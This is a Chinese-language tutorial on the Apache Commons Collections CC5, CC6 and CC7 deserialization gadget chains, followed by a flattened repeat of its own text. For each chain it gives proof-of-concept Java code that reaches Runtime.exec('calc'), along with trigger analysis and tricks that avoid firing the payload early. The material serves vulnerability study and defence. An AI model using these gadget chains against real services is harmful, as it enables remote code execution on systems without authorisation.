CC链学习-中
字数 1550 2025-08-05 08:19:29

Apache Commons Collections反序列化漏洞分析(CC5-CC7)

概述

本文详细分析Apache Commons Collections反序列化漏洞中的CC5、CC6和CC7利用链,涵盖环境配置、POC分析、利用链解析和关键点说明。

环境要求

  • JDK版本:1.7或1.8
  • Commons Collections版本:3.1

CC5利用链分析

POC关键代码

ChainedTransformer transformerChain = new ChainedTransformer(
    new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", 
            new Class[] {String.class, Class[].class}, 
            new Object[] {"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", 
            new Class[] {Object.class, Object[].class}, 
            new Object[] {null, new Object[0]}),
        new InvokerTransformer("exec", 
            new Class[] {String.class}, 
            new Object[] {"calc"})
    });

HashMap innermap = new HashMap();
LazyMap map = (LazyMap) LazyMap.decorate(innermap, transformerChain);
TiedMapEntry tiedmap = new TiedMapEntry(map, 123);

BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException")
    .getDeclaredField("val");
val.setAccessible(true);
val.set(poc, tiedmap);

利用链

ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

关键点分析

  1. BadAttributeValueExpException触发点

    • readObject方法中调用valObj.toString()
    • 通过反射将val字段设置为TiedMapEntry对象
  2. TiedMapEntry.toString()

    • 调用getValue()方法
    • getValue()调用map.get()方法
  3. LazyMap.get()

    • 当key不存在时,使用Transformer转换key
    • 触发ChainedTransformer执行链

CC6利用链分析

POC关键代码

Transformer fakeTransformer = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", new Class[]{}}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[]{}}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc"})
};

Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, fakeTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "keykey");
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("keykey");

// 通过反射设置真正的transformers
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(fakeTransformer, transformers);

利用链

java.io.ObjectInputStream.readObject()
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
...
Runtime.exec()

关键点分析

  1. HashSet触发点

    • HashSet.readObject()调用HashMap.put()
    • HashMap.put()调用hash(key)
  2. TiedMapEntry.hashCode()

    • 调用getValue()
    • getValue()调用map.get()
  3. 避免提前触发

    • 使用假的Transformer数组初始化
    • 序列化前通过反射设置真正的transformers
    • 必须调用lazyMap.remove("keykey")避免提前触发

CC7利用链分析

POC关键代码

Transformer[] fakeTransformers = new Transformer[]{};
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc"})
};

// 先设置假的Transformer数组
Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);

// 创建两个LazyMap实例
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
lazyMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, "test");
hashtable.put(lazyMap2, "test");

// 通过反射设置真正的transformers数组
Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);

// 移除多余的key
lazyMap2.remove("yy");

利用链

Hashtable.readObject()
Hashtable.reconstitutionPut()
AbstractMapDecorator.equals()
AbstractMap.equals()
LazyMap.get()
ChainedTransformer.transform()
...
Runtime.exec()

关键点分析

  1. Hashtable触发点

    • Hashtable.readObject()调用reconstitutionPut()
    • reconstitutionPut()调用e.key.equals(key)
  2. AbstractMap.equals()

    • 调用m.get(key)
    • mkey可控
  3. 双LazyMap技巧

    • 需要两个LazyMap实例
    • 第一个put的LazyMap作为e.key
    • 第二个put的LazyMap作为key
  4. hash碰撞要求

    • 两个LazyMap的hash必须相同
    • 示例中使用"yy"和"zZ"作为key实现hash碰撞

通用技巧

  1. 避免本地触发

    • 先使用无害的Transformer数组构造对象
    • 序列化前通过反射设置真正的恶意Transformer数组
  2. LazyMap处理

    • 需要移除测试key避免提前触发
    • CC6: lazyMap.remove("keykey")
    • CC7: lazyMap2.remove("yy")
  3. 反射修改字段

    Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
    field.setAccessible(true);
    field.set(fakeTransformer, transformers);
    

总结对比

利用链 触发类 关键调用链 特殊要求
CC5 BadAttributeValueExpException toString()->getValue()->get() 需要反射设置val字段
CC6 HashSet hashCode()->getValue()->get() 需要移除测试key
CC7 Hashtable equals()->get() 需要两个LazyMap且hash相同

通过分析这些利用链,我们可以深入理解Java反序列化漏洞的利用原理和构造技巧。每种利用链都有其独特的触发方式和构造要求,掌握这些细节对于漏洞分析和防护具有重要意义。

Apache Commons Collections反序列化漏洞分析(CC5-CC7) 概述 本文详细分析Apache Commons Collections反序列化漏洞中的CC5、CC6和CC7利用链,涵盖环境配置、POC分析、利用链解析和关键点说明。 环境要求 JDK版本:1.7或1.8 Commons Collections版本:3.1 CC5利用链分析 POC关键代码 利用链 关键点分析 BadAttributeValueExpException触发点 : 在 readObject 方法中调用 valObj.toString() 通过反射将 val 字段设置为 TiedMapEntry 对象 TiedMapEntry.toString() : 调用 getValue() 方法 getValue() 调用 map.get() 方法 LazyMap.get() : 当key不存在时,使用Transformer转换key 触发 ChainedTransformer 执行链 CC6利用链分析 POC关键代码 利用链 关键点分析 HashSet触发点 : HashSet.readObject() 调用 HashMap.put() HashMap.put() 调用 hash(key) TiedMapEntry.hashCode() : 调用 getValue() getValue() 调用 map.get() 避免提前触发 : 使用假的 Transformer 数组初始化 序列化前通过反射设置真正的 transformers 必须调用 lazyMap.remove("keykey") 避免提前触发 CC7利用链分析 POC关键代码 利用链 关键点分析 Hashtable触发点 : Hashtable.readObject() 调用 reconstitutionPut() reconstitutionPut() 调用 e.key.equals(key) AbstractMap.equals() : 调用 m.get(key) m 和 key 可控 双LazyMap技巧 : 需要两个LazyMap实例 第一个put的LazyMap作为 e.key 第二个put的LazyMap作为 key hash碰撞要求 : 两个LazyMap的hash必须相同 示例中使用"yy"和"zZ"作为key实现hash碰撞 通用技巧 避免本地触发 : 先使用无害的 Transformer 数组构造对象 序列化前通过反射设置真正的恶意 Transformer 数组 LazyMap处理 : 需要移除测试key避免提前触发 CC6: lazyMap.remove("keykey") CC7: lazyMap2.remove("yy") 反射修改字段 : 总结对比 | 利用链 | 触发类 | 关键调用链 | 特殊要求 | |--------|--------|------------|----------| | CC5 | BadAttributeValueExpException | toString()->getValue()->get() | 需要反射设置val字段 | | CC6 | HashSet | hashCode()->getValue()->get() | 需要移除测试key | | CC7 | Hashtable | equals()->get() | 需要两个LazyMap且hash相同 | 通过分析这些利用链,我们可以深入理解Java反序列化漏洞的利用原理和构造技巧。每种利用链都有其独特的触发方式和构造要求,掌握这些细节对于漏洞分析和防护具有重要意义。